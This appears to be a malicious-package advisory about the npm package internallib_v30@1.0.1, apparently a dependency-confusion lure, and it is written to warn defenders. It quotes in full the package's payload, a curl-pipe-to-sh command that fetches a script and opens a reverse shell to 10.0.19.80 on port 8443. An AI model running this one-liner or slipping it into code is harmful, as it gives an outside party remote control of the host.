GCVE-110-OSM-2026-13262

internallib_v30@1.0.1 ships a single index.js whose exported command() function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443 | sh', fetching a remote shell script over HTTPS and piping it directly into sh. Invoking the exported function from any consumer causes the installer host to download and execute attacker-staged code that opens a reverse shell to 10.0.19.80 on port 8443. The package has no documented legitimate purpose, empty author/description metadata, and a name consistent with an internal/dependency-confusion target. ENTRY index.js (main: index.js) EXFIL - Curl/Wget Pipe to Shell in index.js: "curl https://reverse-shell.sh/10.0.19.80:8443|sh" ADDITIONAL FINDINGS - Shell Command Execution in index.js: "require('child_process')" - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES index.js